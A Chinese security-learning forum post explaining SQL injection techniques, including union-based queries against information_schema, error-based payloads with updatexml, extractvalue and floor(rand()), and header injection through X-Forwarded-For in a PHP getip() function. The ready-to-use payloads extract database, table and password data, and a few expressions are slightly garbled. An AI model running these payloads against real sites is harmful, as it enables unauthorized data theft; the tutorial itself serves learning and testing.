SQL注入--Head头

beize   ·   发表于 2022-11-24 23:25:58   ·   学习杂记

SQL注入

基础

1.常用代码

order by(排序,用来判断字段数)
union select (联合查询,用来查询自己想要得到的数据)
database()(可以用来查询数据库)
limit 0,1(限制输出,0表示下标,1表示数量)

information_schema(mysql数据库5.0及以上版本,自带数据库,他记录了mysql数据库下所有的数据库名,表名,列名信息)
information_schema.tables(记录表名信息的表)
information_schema.columns(记录列名信息的表)
table_name (表名)
column_name (列名)
table_schema (数据库名)

2.基础语句

判断是否存在注入:and 1=2

判断字段数:order by 2

查询数据库:and 1=2 union select 1,database()

查询表名:and 1=2 union select 1,table_name from information_schema.tables where table_schema ='maoshe'

查询列名:and 1=2 union select 1,column_name from information_schema.columns where table_name ='admin' limit 2,1

查询具体数据:and 1=2 union select 1,password from admin

head头注入

 POST注入位置大多为与后端交互的位置,例如登录框、意见栏等<br><br>
在mysql>=5.1.5中添加了对XML文档进行查询修改的函数updatexml()和extractvalue()<br>
 这里以updatexml为例,末尾附加其他报错函数语法<br><br>
 head头注入主要使用到的函数是updatexml() 更新xml文档的函数<br>
 语法:updatexml(目标xml内容,xml文档路径,更新的内容)<br>

updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
0x7e是一个特殊符号 ~
实际上在这里是去更新XML文档,但是我们在文档路径位置写入子查询,也就是说在查找文档路径时就执行了子查询,但是由于我们输入了特殊字符不符合输入规则报错,报错时会告诉你没有这个路径

注:updatexml一般配合and或or使用,不用在意字段数但是需要在意报错长度(报错一般有长度限制)。使用and时前面语句错误后面语句不执行所以尽量用or,尽量不要使用grup_concat()函数 盲注可以尝试使用

eg:
select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

 X-Forwarded-For:<br>
 用来识别通过HTTP代理或负载均衡方式连接到web服务器的客户端最原始IP地址的HTTP请求字段。(透明代理)<br>
 这段Fetip函数是被很多网站和CMS,其实就是未来获取你的真实IP,在有代理的情况下,你会发送另外一些请求头来说明你的IP是啥,其中X-Forwarded-For是其中一种请求头字段<br>

function getip()
{
    if(getenv(''HTTP_CLIENT IP')){
        $ip = getenv('HTTP_CLIENT_IP');
    }else if (getenv('HTTP_X_FORWARDED_FOR')){
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }else if(getenv('HTTP_X_FORWARDED')){
        $ip = getenv('HTTP_X_FORWARDED');
    }else if(getenv('HTTP_FORWARDED_FOR')){
        $ip = getenv('HTTP_FORWARDED_FOR');
    }else if(getenv('HTTP_FORWARDED')){
        $ip = getenv('HTTP_FORWARDED')
    }else{
        $ip = $ SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

注:当前页面能返回报错信息才能使用报错注入<br>
extractvalue():
语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

floor()
 floor()报错注入的原理在向临时表插入数据时,由于rand()多次计算导致插入临时表示主键重复导致报错<br>
eg
select count(),concat(floor(rand(0)2),database()) id from information_schema.schemata group by id

 rand(): 产生一个0-1之间的随机数,但是当我们提供一个固定随机数的种子后(rand(0)),导致每次产生的值是相同的(也称伪随机)<br>
 floor(): 返回小于等于括号内的最大整数。<br>
 floor (rand(0)2)其中
 rand()
2代表0-2之间的随机数,在加上floor后就固定产生两个数0,1<br>
 group by xxx(后面用id表示):代表将xxx作为一个小组,并以xxx字段进行排序<br>
 count():统计复合条件或数据一样的记录数<br>
 报错解析:<br>
  首先插入临时表的概念:用来存储中间结果的数据表,客户端不可见,常见场景:union语句和group by语句。<br>
  当我们在执行group by id时循环读取数据的每一行,并将结果保存于临时表中。当它读取test表中id后会和临时表中存储数据进行对比,存在则更新临时表中数据(不在计算rand值),不存在则需要插入其所在行的数据,而在插入是就会再次计算rand值(可理解为查询执行一次sql语句,插入执行一次sql语句)而因为floor(rand(0)
2)的不确定性,这就导致了插入时会产生冲突而报错。<br>
注:实际测试中发现,出现报错要求数据至少为3条

用户名金币积分时间理由
杰斯 5.00 0 2022-12-09 21:09:12 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2022-11-24 | 709 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.